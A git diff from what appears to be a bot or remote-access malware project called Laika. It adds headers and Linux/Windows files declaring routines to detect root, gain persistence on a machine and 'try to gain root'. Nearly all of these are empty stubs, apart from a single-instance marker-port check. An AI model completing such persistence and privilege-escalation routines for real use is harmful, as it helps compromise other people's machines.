diff --git a/bot/include/persist.h b/bot/include/persist.h new file mode 100644 index 0000000..7807871 --- /dev/null +++ b/bot/include/persist.h @@ -0,0 +1,27 @@ +#ifndef LAIKA_PERSIST_H +#define LAIKA_PERSIST_H + +#include + +/* check if laika is already running */ +bool laikaB_checkRunning(void); + +/* check if laika is already installed on current machine */ +bool laikaB_checkPersist(void); + +/* check if laika is running as super-user */ +bool laikaB_checkRoot(void); + +/* mark that laika is currently running */ +void laikaB_markRunning(void); + +/* unmark that laika is currently running */ +void laikaB_unmarkRunning(void); + +/* try to gain persistance on machine */ +void laikaB_tryPersist(void); + +/* try to gain root */ +void laikaB_tryRoot(void); + +#endif \ No newline at end of file diff --git a/bot/lin/linpersist.c b/bot/lin/linpersist.c new file mode 100644 index 0000000..381594b --- /dev/null +++ b/bot/lin/linpersist.c @@ -0,0 +1,55 @@ +/* platform specific code for achieving persistence on linux */ + +/* this is only used to check if another instance of laika is currently running */ +#define LAIKA_RESERVED_PORT 32876 + +#include "persist.h" +#include "lsocket.h" +#include "lerror.h" + +static struct sLaika_socket laikaB_markerPort; + +/* check if laika is already running */ +bool laikaB_checkRunning() { + return true; /* stubbed for now */ +} + +/* check if laika is already installed on current machine */ +bool laikaB_checkPersist() { + return true; /* stubbed for now */ +} + +/* check if laika is running as super-user */ +bool laikaB_checkRoot() { + return true; /* stubbed for now */ +} + +/* mark that laika is currently running */ +void laikaB_markRunning() { +#ifndef DEBUG + LAIKA_TRY + laikaS_initSocket(&laikaB_markerPort, NULL, NULL, NULL, NULL); + laikaS_bind(&laikaB_markerPort, LAIKA_RESERVED_PORT); + LAIKA_CATCH + LAIKA_DEBUG("Failed to bind marker port, laika is already running!\n"); + exit(0); + LAIKA_TRYEND +#endif +} + +/* unmark that laika is currently running */ +void laikaB_unmarkRunning() { +#ifndef DEBUG + laikaS_kill(&laikaB_markerPort); +#endif +} + +/* try to gain persistance on machine */ +void laikaB_tryPersist() { + /* stubbed */ +} + +/* try to gain root */ +void laikaB_tryRoot() { + /* stubbed */ +} \ No newline at end of file diff --git a/bot/win/winpersist.c b/bot/win/winpersist.c new file mode 100644 index 0000000..c619788 --- /dev/null +++ b/bot/win/winpersist.c @@ -0,0 +1,38 @@ +/* platform specific code for achieving persistence on windows */ + +#include "persist.h" + +/* check if laika is already running */ +bool laikaB_checkRunning() { + return true; /* stubbed for now */ +} + +/* check if laika is already installed on current machine */ +bool laikaB_checkPersist() { + return true; /* stubbed for now */ +} + +/* check if laika is running as super-user */ +bool laikaB_checkRoot() { + return true; /* stubbed for now */ +} + +/* mark that laika is currently running */ +void laikaB_markRunning() { + /* stubbed */ +} + +/* unmark that laika is currently running */ +void laikaB_unmarkRunning() { + /* stubbed */ +} + +/* try to gain persistance on machine */ +void laikaB_tryPersist() { + /* stubbed */ +} + +/* try to gain root */ +void laikaB_tryRoot() { + /* stubbed */ +} \ No newline at end of file diff --git a/lib/include/lbox.h b/lib/include/lbox.h index 1cc5ede..940d2c1 100644 --- a/lib/include/lbox.h +++ b/lib/include/lbox.h @@ -16,24 +16,18 @@ dumping. */ -enum { - BOX_IP, - BOX_PUBKEY, - BOX_MAX -}; - struct sLaikaB_box { uint8_t *data; uint8_t *unlockedData; struct sLaikaV_vm vm; }; -inline void laikaB_unlock() { +inline void laikaB_unlock(struct sLaikaB_box *box) { } /* safely free's allocated buffer using libsodium's api for clearing sensitive data from memory */ -inline void laikaB_lock() { +inline void laikaB_lock(struct sLaikaB_box *box) { }